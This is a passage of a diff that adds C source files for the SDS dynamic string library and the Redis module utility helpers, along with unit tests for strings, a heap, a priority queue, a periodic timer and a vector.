+            if (s[j] == from[i]) {
+                s[j] = to[i];
+                break;
+            }
+        }
+    }
+    return s;
+}
+
+/* Join an array of C strings using the specified separator (also a C string).
+ * Returns the result as an sds string. */
+sds sdsjoin(char **argv, int argc, char *sep) {
+    sds join = sdsempty();
+    int j;
+
+    for (j = 0; j < argc; j++) {
+        join = sdscat(join, argv[j]);
+        if (j != argc-1) join = sdscat(join,sep);
+    }
+    return join;
+}
+
+/* Like sdsjoin, but joins an array of SDS strings. */
+sds sdsjoinsds(sds *argv, int argc, const char *sep, size_t seplen) {
+    sds join = sdsempty();
+    int j;
+
+    for (j = 0; j < argc; j++) {
+        join = sdscatsds(join, argv[j]);
+        if (j != argc-1) join = sdscatlen(join,sep,seplen);
+    }
+    return join;
+}
+
+/* Wrappers to the allocators used by SDS. Note that SDS will actually
+ * just use the macros defined into sdsalloc.h in order to avoid to pay
+ * the overhead of function calls. Here we define these wrappers only for
+ * the programs SDS is linked to, if they want to touch the SDS internals
+ * even if they use a different allocator. */
+void *sds_malloc(size_t size) { return s_malloc(size); }
+void *sds_realloc(void *ptr, size_t size) { return s_realloc(ptr,size); }
+void sds_free(void *ptr) { s_free(ptr); }
+
+#if defined(SDS_TEST_MAIN)
+#include <stdio.h>
+#include "testhelp.h"
+#include "limits.h"
+
+#define UNUSED(x) (void)(x)
+int sdsTest(void) {
+    {
+        sds x = sdsnew("foo"), y;
+
+        test_cond("Create a string and obtain the length",
+            sdslen(x) == 3 && memcmp(x,"foo\0",4) == 0)
+
+        sdsfree(x);
+        x = sdsnewlen("foo",2);
+        test_cond("Create a string with specified length",
+            sdslen(x) == 2 && memcmp(x,"fo\0",3) == 0)
+
+        x = sdscat(x,"bar");
+        test_cond("Strings concatenation",
+            sdslen(x) == 5 && memcmp(x,"fobar\0",6) == 0);
+
+        x = sdscpy(x,"a");
+        test_cond("sdscpy() against an originally longer string",
+            sdslen(x) == 1 && memcmp(x,"a\0",2) == 0)
+
+        x = sdscpy(x,"xyzxxxxxxxxxxyyyyyyyyyykkkkkkkkkk");
+        test_cond("sdscpy() against an originally shorter string",
+            sdslen(x) == 33 &&
+            memcmp(x,"xyzxxxxxxxxxxyyyyyyyyyykkkkkkkkkk\0",33) == 0)
+
+        sdsfree(x);
+        x = sdscatprintf(sdsempty(),"%d",123);
+        test_cond("sdscatprintf() seems working in the base case",
+            sdslen(x) == 3 && memcmp(x,"123\0",4) == 0)
+
+        sdsfree(x);
+        x = sdsnew("--");
+        x = sdscatfmt(x, "Hello %s World %I,%I--", "Hi!", LLONG_MIN,LLONG_MAX);
+        test_cond("sdscatfmt() seems working in the base case",
+            sdslen(x) == 60 &&
+            memcmp(x,"--Hello Hi! World -9223372036854775808,"
+                     "9223372036854775807--",60) == 0)
+        printf("[%s]\n",x);
+
+        sdsfree(x);
+        x = sdsnew("--");
+        x = sdscatfmt(x, "%u,%U--", UINT_MAX, ULLONG_MAX);
+        test_cond("sdscatfmt() seems working with unsigned numbers",
+            sdslen(x) == 35 &&
+            memcmp(x,"--4294967295,18446744073709551615--",35) == 0)
+
+        sdsfree(x);
+        x = sdsnew(" x ");
+        sdstrim(x," x");
+        test_cond("sdstrim() works when all chars match",
+            sdslen(x) == 0)
+
+        sdsfree(x);
+        x = sdsnew(" x ");
+        sdstrim(x," ");
+        test_cond("sdstrim() works when a single char remains",
+            sdslen(x) == 1 && x[0] == 'x')
+
+        sdsfree(x);
+        x = sdsnew("xxciaoyyy");
+        sdstrim(x,"xy");
+        test_cond("sdstrim() correctly trims characters",
+            sdslen(x) == 4 && memcmp(x,"ciao\0",5) == 0)
+
+        y = sdsdup(x);
+        sdsrange(y,1,1);
+        test_cond("sdsrange(...,1,1)",
+            sdslen(y) == 1 && memcmp(y,"i\0",2) == 0)
+
+        sdsfree(y);
+        y = sdsdup(x);
+        sdsrange(y,1,-1);
+        test_cond("sdsrange(...,1,-1)",
+            sdslen(y) == 3 && memcmp(y,"iao\0",4) == 0)
+
+        sdsfree(y);
+        y = sdsdup(x);
+        sdsrange(y,-2,-1);
+        test_cond("sdsrange(...,-2,-1)",
+            sdslen(y) == 2 && memcmp(y,"ao\0",3) == 0)
+
+        sdsfree(y);
+        y = sdsdup(x);
+        sdsrange(y,2,1);
+        test_cond("sdsrange(...,2,1)",
+            sdslen(y) == 0 && memcmp(y,"\0",1) == 0)
+
+        sdsfree(y);
+        y = sdsdup(x);
+        sdsrange(y,1,100);
+        test_cond("sdsrange(...,1,100)",
+            sdslen(y) == 3 && memcmp(y,"iao\0",4) == 0)
+
+        sdsfree(y);
+        y = sdsdup(x);
+        sdsrange(y,100,100);
+        test_cond("sdsrange(...,100,100)",
+            sdslen(y) == 0 && memcmp(y,"\0",1) == 0)
+
+        sdsfree(y);
+        sdsfree(x);
+        x = sdsnew("foo");
+        y = sdsnew("foa");
+        test_cond("sdscmp(foo,foa)", sdscmp(x,y) > 0)
+
+        sdsfree(y);
+        sdsfree(x);
+        x = sdsnew("bar");
+        y = sdsnew("bar");
+        test_cond("sdscmp(bar,bar)", sdscmp(x,y) == 0)
+
+        sdsfree(y);
+        sdsfree(x);
+        x = sdsnew("aar");
+        y = sdsnew("bar");
+        test_cond("sdscmp(bar,bar)", sdscmp(x,y) < 0)
+
+        sdsfree(y);
+        sdsfree(x);
+        x = sdsnewlen("\a\n\0foo\r",7);
+        y = sdscatrepr(sdsempty(),x,sdslen(x));
+        test_cond("sdscatrepr(...data...)",
+            memcmp(y,"\"\\a\\n\\x00foo\\r\"",15) == 0)
+
+        {
+            unsigned int oldfree;
+            char *p;
+            int step = 10, j, i;
+
+            sdsfree(x);
+            sdsfree(y);
+            x = sdsnew("0");
+            test_cond("sdsnew() free/len buffers", sdslen(x) == 1 && sdsavail(x) == 0);
+
+            /* Run the test a few times in order to hit the first two
+             * SDS header types. */
+            for (i = 0; i < 10; i++) {
+                int oldlen = sdslen(x);
+                x = sdsMakeRoomFor(x,step);
+                int type = x[-1]&SDS_TYPE_MASK;
+
+                test_cond("sdsMakeRoomFor() len", sdslen(x) == oldlen);
+                if (type != SDS_TYPE_5) {
+                    test_cond("sdsMakeRoomFor() free", sdsavail(x) >= step);
+                    oldfree = sdsavail(x);
+                }
+                p = x+oldlen;
+                for (j = 0; j < step; j++) {
+                    p[j] = 'A'+j;
+                }
+                sdsIncrLen(x,step);
+            }
+            test_cond("sdsMakeRoomFor() content",
+                memcmp("0ABCDEFGHIJABCDEFGHIJABCDEFGHIJABCDEFGHIJABCDEFGHIJABCDEFGHIJABCDEFGHIJABCDEFGHIJABCDEFGHIJABCDEFGHIJ",x,101) == 0);
+            test_cond("sdsMakeRoomFor() final length",sdslen(x)==101);
+
+            sdsfree(x);
+        }
+    }
+    test_report()
+    return 0;
+}
+#endif
+
+#ifdef SDS_TEST_MAIN
+int main(void) {
+    return sdsTest();
+}
+#endif
@@ -0,0 +1,273 @@
+/* SDSLib 2.0 -- A C dynamic strings library
+ *
+ * Copyright (c) 2006-2015, Salvatore Sanfilippo <antirez at gmail dot com>
+ * Copyright (c) 2015, Oran Agra
+ * Copyright (c) 2015, Redis Labs, Inc
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ *
+ *   * Redistributions of source code must retain the above copyright notice,
+ *     this list of conditions and the following disclaimer.
+ *   * Redistributions in binary form must reproduce the above copyright
+ *     notice, this list of conditions and the following disclaimer in the
+ *     documentation and/or other materials provided with the distribution.
+ *   * Neither the name of Redis nor the names of its contributors may be used
+ *     to endorse or promote products derived from this software without
+ *     specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+ * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ * ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE
+ * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
+ * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
+ * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
+ * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
+ * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
+ * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
+ * POSSIBILITY OF SUCH DAMAGE.
+ */
+
+#ifndef __SDS_H
+#define __SDS_H
+
+#define SDS_MAX_PREALLOC (1024*1024)
+
+#include <sys/types.h>
+#include <stdarg.h>
+#include <stdint.h>
+
+typedef char *sds;
+
+/* Note: sdshdr5 is never used, we just access the flags byte directly.
+ * However is here to document the layout of type 5 SDS strings. */
+struct __attribute__ ((__packed__)) sdshdr5 {
+    unsigned char flags; /* 3 lsb of type, and 5 msb of string length */
+    char buf[];
+};
+struct __attribute__ ((__packed__)) sdshdr8 {
+    uint8_t len; /* used */
+    uint8_t alloc; /* excluding the header and null terminator */
+    unsigned char flags; /* 3 lsb of type, 5 unused bits */
+    char buf[];
+};
+struct __attribute__ ((__packed__)) sdshdr16 {
+    uint16_t len; /* used */
+    uint16_t alloc; /* excluding the header and null terminator */
+    unsigned char flags; /* 3 lsb of type, 5 unused bits */
+    char buf[];
+};
+struct __attribute__ ((__packed__)) sdshdr32 {
+    uint32_t len; /* used */
+    uint32_t alloc; /* excluding the header and null terminator */
+    unsigned char flags; /* 3 lsb of type, 5 unused bits */
+    char buf[];
+};
+struct __attribute__ ((__packed__)) sdshdr64 {
+    uint64_t len; /* used */
+    uint64_t alloc; /* excluding the header and null terminator */
+    unsigned char flags; /* 3 lsb of type, 5 unused bits */
+    char buf[];
+};
+
+#define SDS_TYPE_5  0
+#define SDS_TYPE_8  1
+#define SDS_TYPE_16 2
+#define SDS_TYPE_32 3
+#define SDS_TYPE_64 4
+#define SDS_TYPE_MASK 7
+#define SDS_TYPE_BITS 3
+#define SDS_HDR_VAR(T,s) struct sdshdr##T *sh = (void*)((s)-(sizeof(struct sdshdr##T)));
+#define SDS_HDR(T,s) ((struct sdshdr##T *)((s)-(sizeof(struct sdshdr##T))))
+#define SDS_TYPE_5_LEN(f) ((f)>>SDS_TYPE_BITS)
+
+static inline size_t sdslen(const sds s) {
+    unsigned char flags = s[-1];
+    switch(flags&SDS_TYPE_MASK) {
+        case SDS_TYPE_5:
+            return SDS_TYPE_5_LEN(flags);
+        case SDS_TYPE_8:
+            return SDS_HDR(8,s)->len;
+        case SDS_TYPE_16:
+            return SDS_HDR(16,s)->len;
+        case SDS_TYPE_32:
+            return SDS_HDR(32,s)->len;
+        case SDS_TYPE_64:
+            return SDS_HDR(64,s)->len;
+    }
+    return 0;
+}
+
+static inline size_t sdsavail(const sds s) {
+    unsigned char flags = s[-1];
+    switch(flags&SDS_TYPE_MASK) {
+        case SDS_TYPE_5: {
+            return 0;
+        }
+        case SDS_TYPE_8: {
+            SDS_HDR_VAR(8,s);
+            return sh->alloc - sh->len;
+        }
+        case SDS_TYPE_16: {
+            SDS_HDR_VAR(16,s);
+            return sh->alloc - sh->len;
+        }
+        case SDS_TYPE_32: {
+            SDS_HDR_VAR(32,s);
+            return sh->alloc - sh->len;
+        }
+        case SDS_TYPE_64: {
+            SDS_HDR_VAR(64,s);
+            return sh->alloc - sh->len;
+        }
+    }
+    return 0;
+}
+
+static inline void sdssetlen(sds s, size_t newlen) {
+    unsigned char flags = s[-1];
+    switch(flags&SDS_TYPE_MASK) {
+        case SDS_TYPE_5:
+            {
+                unsigned char *fp = ((unsigned char*)s)-1;
+                *fp = SDS_TYPE_5 | (newlen << SDS_TYPE_BITS);
+            }
+            break;
+        case SDS_TYPE_8:
+            SDS_HDR(8,s)->len = newlen;
+            break;
+        case SDS_TYPE_16:
+            SDS_HDR(16,s)->len = newlen;
+            break;
+        case SDS_TYPE_32:
+            SDS_HDR(32,s)->len = newlen;
+            break;
+        case SDS_TYPE_64:
+            SDS_HDR(64,s)->len = newlen;
+            break;
+    }
+}
+
+static inline void sdsinclen(sds s, size_t inc) {
+    unsigned char flags = s[-1];
+    switch(flags&SDS_TYPE_MASK) {
+        case SDS_TYPE_5:
+            {
+                unsigned char *fp = ((unsigned char*)s)-1;
+                unsigned char newlen = SDS_TYPE_5_LEN(flags)+inc;
+                *fp = SDS_TYPE_5 | (newlen << SDS_TYPE_BITS);
+            }
+            break;
+        case SDS_TYPE_8:
+            SDS_HDR(8,s)->len += inc;
+            break;
+        case SDS_TYPE_16:
+            SDS_HDR(16,s)->len += inc;
+            break;
+        case SDS_TYPE_32:
+            SDS_HDR(32,s)->len += inc;
+            break;
+        case SDS_TYPE_64:
+            SDS_HDR(64,s)->len += inc;
+            break;
+    }
+}
+
+/* sdsalloc() = sdsavail() + sdslen() */
+static inline size_t sdsalloc(const sds s) {
+    unsigned char flags = s[-1];
+    switch(flags&SDS_TYPE_MASK) {
+        case SDS_TYPE_5:
+            return SDS_TYPE_5_LEN(flags);
+        case SDS_TYPE_8:
+            return SDS_HDR(8,s)->alloc;
+        case SDS_TYPE_16:
+            return SDS_HDR(16,s)->alloc;
+        case SDS_TYPE_32:
+            return SDS_HDR(32,s)->alloc;
+        case SDS_TYPE_64:
+            return SDS_HDR(64,s)->alloc;
+    }
+    return 0;
+}
+
+static inline void sdssetalloc(sds s, size_t newlen) {
+    unsigned char flags = s[-1];
+    switch(flags&SDS_TYPE_MASK) {
+        case SDS_TYPE_5:
+            /* Nothing to do, this type has no total allocation info. */
+            break;
+        case SDS_TYPE_8:
+            SDS_HDR(8,s)->alloc = newlen;
+            break;
+        case SDS_TYPE_16:
+            SDS_HDR(16,s)->alloc = newlen;
+            break;
+        case SDS_TYPE_32:
+            SDS_HDR(32,s)->alloc = newlen;
+            break;
+        case SDS_TYPE_64:
+            SDS_HDR(64,s)->alloc = newlen;
+            break;
+    }
+}
+
+sds sdsnewlen(const void *init, size_t initlen);
+sds sdsnew(const char *init);
+sds sdsempty(void);
+sds sdsdup(const sds s);
+void sdsfree(sds s);
+sds sdsgrowzero(sds s, size_t len);
+sds sdscatlen(sds s, const void *t, size_t len);
+sds sdscat(sds s, const char *t);
+sds sdscatsds(sds s, const sds t);
+sds sdscpylen(sds s, const char *t, size_t len);
+sds sdscpy(sds s, const char *t);
+
+sds sdscatvprintf(sds s, const char *fmt, va_list ap);
+#ifdef __GNUC__
+sds sdscatprintf(sds s, const char *fmt, ...)
+    __attribute__((format(printf, 2, 3)));
+#else
+sds sdscatprintf(sds s, const char *fmt, ...);
+#endif
+
+sds sdscatfmt(sds s, char const *fmt, ...);
+sds sdstrim(sds s, const char *cset);
+void sdsrange(sds s, int start, int end);
+void sdsupdatelen(sds s);
+void sdsclear(sds s);
+int sdscmp(const sds s1, const sds s2);
+sds *sdssplitlen(const char *s, int len, const char *sep, int seplen, int *count);
+void sdsfreesplitres(sds *tokens, int count);
+void sdstolower(sds s);
+void sdstoupper(sds s);
+sds sdsfromlonglong(long long value);
+sds sdscatrepr(sds s, const char *p, size_t len);
+sds *sdssplitargs(const char *line, int *argc);
+sds sdsmapchars(sds s, const char *from, const char *to, size_t setlen);
+sds sdsjoin(char **argv, int argc, char *sep);
+sds sdsjoinsds(sds *argv, int argc, const char *sep, size_t seplen);
+
+/* Low level functions exposed to the user API */
+sds sdsMakeRoomFor(sds s, size_t addlen);
+void sdsIncrLen(sds s, int incr);
+sds sdsRemoveFreeSpace(sds s);
+size_t sdsAllocSize(sds s);
+void *sdsAllocPtr(sds s);
+
+/* Export the allocator used by SDS to the program using SDS.
+ * Sometimes the program SDS is linked to, may use a different set of
+ * allocators, but may want to allocate or free things that SDS will
+ * respectively free or allocate. */
+void *sds_malloc(size_t size);
+void *sds_realloc(void *ptr, size_t size);
+void sds_free(void *ptr);
+
+#ifdef REDIS_TEST
+int sdsTest(int argc, char *argv[]);
+#endif
+
+#endif
@@ -0,0 +1,47 @@
+/* SDSLib 2.0 -- A C dynamic strings library
+ *
+ * Copyright (c) 2006-2015, Salvatore Sanfilippo <antirez at gmail dot com>
+ * Copyright (c) 2015, Redis Labs, Inc
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ *
+ *   * Redistributions of source code must retain the above copyright notice,
+ *     this list of conditions and the following disclaimer.
+ *   * Redistributions in binary form must reproduce the above copyright
+ *     notice, this list of conditions and the following disclaimer in the
+ *     documentation and/or other materials provided with the distribution.
+ *   * Neither the name of Redis nor the names of its contributors may be used
+ *     to endorse or promote products derived from this software without
+ *     specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+ * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ * ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE
+ * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
+ * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
+ * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
+ * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
+ * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
+ * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
+ * POSSIBILITY OF SUCH DAMAGE.
+ */
+
+/* SDS allocator selection.
+ *
+ * This file is used in order to change the SDS allocator at compile time.
+ * Just define the following defines to what you want to use. Also add
+ * the include of your alternate allocator if needed (not needed in order
+ * to use the default libc allocator). */
+
+#if defined(__MACH__)
+#include <stdlib.h>
+#else
+#include <malloc.h>
+#endif
+//#include "zmalloc.h"
+#define s_malloc malloc
+#define s_realloc realloc
+#define s_free free
@@ -0,0 +1,81 @@
+#include <string.h>
+#include <sys/param.h>
+#include <ctype.h>
+#include "strings.h"
+#include "alloc.h"
+
+#include "sds.h"
+
+// RedisModuleString *RMUtil_CreateFormattedString(RedisModuleCtx *ctx, const char *fmt, ...) {
+//     sds s = sdsempty();
+
+//     va_list ap;
+//     va_start(ap, fmt);
+//     s = sdscatvprintf(s, fmt, ap);
+//     va_end(ap);
+
+//     RedisModuleString *ret = RedisModule_CreateString(ctx, (const char *)s, sdslen(s));
+//     sdsfree(s);
+//     return ret;
+// }
+
+int RMUtil_StringEquals(RedisModuleString *s1, RedisModuleString *s2) {
+
+  const char *c1, *c2;
+  size_t l1, l2;
+  c1 = RedisModule_StringPtrLen(s1, &l1);
+  c2 = RedisModule_StringPtrLen(s2, &l2);
+  if (l1 != l2) return 0;
+
+  return strncmp(c1, c2, l1) == 0;
+}
+
+int RMUtil_StringEqualsC(RedisModuleString *s1, const char *s2) {
+
+  const char *c1;
+  size_t l1, l2 = strlen(s2);
+  c1 = RedisModule_StringPtrLen(s1, &l1);
+  if (l1 != l2) return 0;
+
+  return strncmp(c1, s2, l1) == 0;
+}
+int RMUtil_StringEqualsCaseC(RedisModuleString *s1, const char *s2) {
+
+  const char *c1;
+  size_t l1, l2 = strlen(s2);
+  c1 = RedisModule_StringPtrLen(s1, &l1);
+  if (l1 != l2) return 0;
+
+  return strncasecmp(c1, s2, l1) == 0;
+}
+
+void RMUtil_StringToLower(RedisModuleString *s) {
+
+  size_t l;
+  char *c = (char *)RedisModule_StringPtrLen(s, &l);
+  size_t i;
+  for (i = 0; i < l; i++) {
+    *c = tolower(*c);
+    ++c;
+  }
+}
+
+void RMUtil_StringToUpper(RedisModuleString *s) {
+  size_t l;
+  char *c = (char *)RedisModule_StringPtrLen(s, &l);
+  size_t i;
+  for (i = 0; i < l; i++) {
+    *c = toupper(*c);
+    ++c;
+  }
+}
+
+void RMUtil_StringConvert(RedisModuleString **rs, const char **ss, size_t n, int options) {
+  for (size_t ii = 0; ii < n; ++ii) {
+    const char *p = RedisModule_StringPtrLen(rs[ii], NULL);
+    if (options & RMUTIL_STRINGCONVERT_COPY) {
+      p = strdup(p);
+    }
+    ss[ii] = p;
+  }
+}
@@ -0,0 +1,38 @@
+#ifndef __RMUTIL_STRINGS_H__
+#define __RMUTIL_STRINGS_H__
+
+#include <redismodule.h>
+
+/*
+* Create a new RedisModuleString object from a printf-style format and arguments.
+* Note that RedisModuleString objects CANNOT be used as formatting arguments.
+*/
+// DEPRECATED since it was added to the RedisModule API. Replaced with a macro below
+// RedisModuleString *RMUtil_CreateFormattedString(RedisModuleCtx *ctx, const char *fmt, ...);
+#define RMUtil_CreateFormattedString RedisModule_CreateStringPrintf
+
+/* Return 1 if the two strings are equal. Case *sensitive* */
+int RMUtil_StringEquals(RedisModuleString *s1, RedisModuleString *s2);
+
+/* Return 1 if the string is equal to a C NULL terminated string. Case *sensitive* */
+int RMUtil_StringEqualsC(RedisModuleString *s1, const char *s2);
+
+/* Return 1 if the string is equal to a C NULL terminated string. Case *insensitive* */
+int RMUtil_StringEqualsCaseC(RedisModuleString *s1, const char *s2);
+
+/* Converts a redis string to lowercase in place without reallocating anything */
+void RMUtil_StringToLower(RedisModuleString *s);
+
+/* Converts a redis string to uppercase in place without reallocating anything */
+void RMUtil_StringToUpper(RedisModuleString *s);
+
+// If set, copy the strings using strdup rather than simply storing pointers.
+#define RMUTIL_STRINGCONVERT_COPY 1
+
+/**
+ * Convert one or more RedisModuleString objects into `const char*`.
+ * Both rs and ss are arrays, and should be of <n> length.
+ * Options may be 0 or `RMUTIL_STRINGCONVERT_COPY`
+ */
+void RMUtil_StringConvert(RedisModuleString **rs, const char **ss, size_t n, int options);
+#endif
@@ -0,0 +1,69 @@
+#ifndef __TESTUTIL_H__
+#define __TESTUTIL_H__
+
+#include <assert.h>
+#include <stdio.h>
+#include <stdlib.h>
+
+static int numTests = 0;
+static int numAsserts = 0;
+
+#define TESTFUNC(f)                        \
+  printf("  Testing %s\t\t", __STRING(f)); \
+  numTests++;                              \
+  fflush(stdout);                          \
+  if (f()) {                               \
+    printf(" %s FAILED!\n", __STRING(f));  \
+    exit(1);                               \
+  } else                                   \
+    printf("[PASS]\n");
+
+#define ASSERTM(expr, ...)                                                                 \
+  if (!(expr)) {                                                                           \
+    fprintf(stderr, "%s:%d: Assertion '%s' Failed: " __VA_ARGS__ "\n", __FILE__, __LINE__, \
+            __STRING(expr));                                                               \
+    return -1;                                                                             \
+  }                                                                                        \
+  numAsserts++;
+
+#define ASSERT(expr)                                                                      \
+  if (!(expr)) {                                                                          \
+    fprintf(stderr, "%s:%d Assertion '%s' Failed\n", __FILE__, __LINE__, __STRING(expr)); \
+    return -1;                                                                            \
+  }                                                                                       \
+  numAsserts++;
+
+#define ASSERT_STRING_EQ(s1, s2) ASSERT(!strcmp(s1, s2));
+
+#define ASSERT_EQUAL(x, y, ...)                                           \
+  if (x != y) {                                                           \
+    fprintf(stderr, "%s:%d: ", __FILE__, __LINE__);                       \
+    fprintf(stderr, "%g != %g: " __VA_ARGS__ "\n", (double)x, (double)y); \
+    return -1;                                                            \
+  }                                                                       \
+  numAsserts++;
+
+#define FAIL(fmt, ...)                                                            \
+  {                                                                               \
+    fprintf(stderr, "%s:%d: FAIL: " fmt "\n", __FILE__, __LINE__, ##__VA_ARGS__); \
+    return -1;                                                                    \
+  }
+
+#define RETURN_TEST_SUCCESS return 0;
+#define TEST_CASE(x, block) \
+  int x {                   \
+    block;                  \
+    return 0                \
+  }
+
+#define PRINT_TEST_SUMMARY printf("\nTotal: %d tests and %d assertions OK\n", numTests, numAsserts);
+
+#define TEST_MAIN(body)                         \
+  int main(int argc, char **argv) {             \
+    printf("Starting Test '%s'...\n", argv[0]); \
+    body;                                       \
+    PRINT_TEST_SUMMARY;                         \
+    printf("\n--------------------\n\n");       \
+    return 0;                                   \
+  }
+#endif
@@ -0,0 +1,38 @@
+#include <stdio.h>
+#include "heap.h"
+#include "assert.h"
+
+int cmp(void *a, void *b) {
+    int *__a = (int *) a;
+    int *__b = (int *) b;
+    return *__a - *__b;
+}
+
+int main(int argc, char **argv) {
+    int myints[] = {10, 20, 30, 5, 15};
+    Vector *v = NewVector(int, 5);
+    for (int i = 0; i < 5; i++) {
+        Vector_Push(v, myints[i]);
+    }
+
+    Make_Heap(v, 0, v->top, cmp);
+
+    int n;
+    Vector_Get(v, 0, &n);
+    assert(30 == n);
+
+    Heap_Pop(v, 0, v->top, cmp);
+    v->top = 4;
+    Vector_Get(v, 0, &n);
+    assert(20 == n);
+
+    Vector_Push(v, 99);
+    Heap_Push(v, 0, v->top, cmp);
+    Vector_Get(v, 0, &n);
+    assert(99 == n);
+
+    Vector_Free(v);
+    printf("PASS!\n");
+    return 0;
+}
+
@@ -0,0 +1,26 @@
+#include <stdio.h>
+#include <redismodule.h>
+#include <unistd.h>
+#include "periodic.h"
+#include "assert.h"
+#include "test.h"
+
+void timerCb(RedisModuleCtx *ctx, void *p) {
+  int *x = p;
+  (*x)++;
+}
+
+int testPeriodic() {
+  int x = 0;
+  struct RMUtilTimer *tm = RMUtil_NewPeriodicTimer(
+      timerCb, NULL, &x, (struct timespec){.tv_sec = 0, .tv_nsec = 10000000});
+
+  sleep(1);
+
+  ASSERT_EQUAL(0, RMUtilTimer_Terminate(tm));
+  ASSERT(x > 0);
+  ASSERT(x <= 100);
+  return 0;
+}
+
+TEST_MAIN({ TESTFUNC(testPeriodic); });
@@ -0,0 +1,37 @@
+#include <stdio.h>
+#include "assert.h"
+#include "priority_queue.h"
+
+int cmp(void* i1, void* i2) {
+    int *__i1 = (int*) i1;
+    int *__i2 = (int*) i2;
+    return *__i1 - *__i2;
+}
+
+int main(int argc, char **argv) {
+    PriorityQueue *pq = NewPriorityQueue(int, 10, cmp);
+    assert(0 == Priority_Queue_Size(pq));
+
+    for (int i = 0; i < 5; i++) {
+        Priority_Queue_Push(pq, i);
+    }
+    assert(5 == Priority_Queue_Size(pq));
+
+    Priority_Queue_Pop(pq);
+    assert(4 == Priority_Queue_Size(pq));
+
+    Priority_Queue_Push(pq, 10);
+    Priority_Queue_Push(pq, 20);
+    Priority_Queue_Push(pq, 15);
+    int n;
+    Priority_Queue_Top(pq, &n);
+    assert(20 == n);
+
+    Priority_Queue_Pop(pq);
+    Priority_Queue_Top(pq, &n);
+    assert(15 == n);
+
+    Priority_Queue_Free(pq);
+    printf("PASS!\n");
+    return 0;
+}
@@ -0,0 +1,67 @@
+#ifndef __TEST_UTIL_H__
+#define __TEST_UTIL_H__
+
+#include "util.h"
+#include <stdarg.h>
+#include <stdlib.h>
+#include <string.h>
+
+
+#define RMUtil_Test(f) \
+                if (argc < 2 || RMUtil_ArgExists(__STRING(f), argv, argc, 1)) { \
+                    int rc = f(ctx); \
+                    if (rc != REDISMODULE_OK) { \
+                        RedisModule_ReplyWithError(ctx, "Test " __STRING(f) " FAILED"); \
+                        return REDISMODULE_ERR;\
+                    }\
+                }
+           
+                
+#define RMUtil_Assert(expr) if (!(expr)) { fprintf (stderr, "Assertion '%s' Failed\n", __STRING(expr)); return REDISMODULE_ERR; }
+
+#define RMUtil_AssertReplyEquals(rep, cstr) RMUtil_Assert( \
+            RMUtil_StringEquals(RedisModule_CreateStringFromCallReply(rep), RedisModule_CreateString(ctx, cstr, strlen(cstr))) \
+            )
+#            
+
+/**
+* Create an arg list to pass to a redis command handler manually, based on the format in fmt.
+* The accepted format specifiers are:
+*   c - for null terminated c strings
+*   s - for RedisModuleString* objects
+*   l - for longs
+*
+*  Example:  RMUtil_MakeArgs(ctx, &argc, "clc", "hello", 1337, "world");
+*
+*  Returns an array of RedisModuleString pointers. The size of the array is store in argcp
+*/
+RedisModuleString **RMUtil_MakeArgs(RedisModuleCtx *ctx, int *argcp, const char *fmt, ...) {
+    
+    va_list ap;
+    va_start(ap, fmt);
+    RedisModuleString **argv = calloc(strlen(fmt), sizeof(RedisModuleString*));
+    int argc = 0;
+    const char *p = fmt;
+    while(*p) {
+        if (*p == 'c') {
+            char *cstr = va_arg(ap,char*);
+            argv[argc++] = RedisModule_CreateString(ctx, cstr, strlen(cstr));
+        } else if (*p == 's') {
+            argv[argc++] = va_arg(ap,void*);;
+        } else if (*p == 'l') {
+            long ll = va_arg(ap,long long);
+            argv[argc++] = RedisModule_CreateStringFromLongLong(ctx, ll);
+        } else {
+            goto fmterr;
+        }
+        p++;
+    }
+    *argcp = argc;
+    
+    return argv;
+fmterr:
+    free(argv);
+    return NULL;
+}
+
+#endif
@@ -0,0 +1,58 @@
+#include "vector.h"
+#include <stdio.h>
+#include "test.h"
+
+int testVector() {
+
+  Vector *v = NewVector(int, 1);
+  ASSERT(v != NULL);
+  // Vector_Put(v, 0, 1);
+  // Vector_Put(v, 1, 3);
+  for (int i = 0; i < 10; i++) {
+    Vector_Push(v, i);
+  }
+  ASSERT_EQUAL(10, Vector_Size(v));
+  ASSERT_EQUAL(16, Vector_Cap(v));
+
+  for (int i = 0; i < Vector_Size(v); i++) {
+    int n;
+    int rc = Vector_Get(v, i, &n);
+    ASSERT_EQUAL(1, rc);
+    // printf("%d %d\n", rc, n);
+
+    ASSERT_EQUAL(n, i);
+  }
+
+  Vector_Free(v);
+
+  v = NewVector(char *, 0);
+  int N = 4;
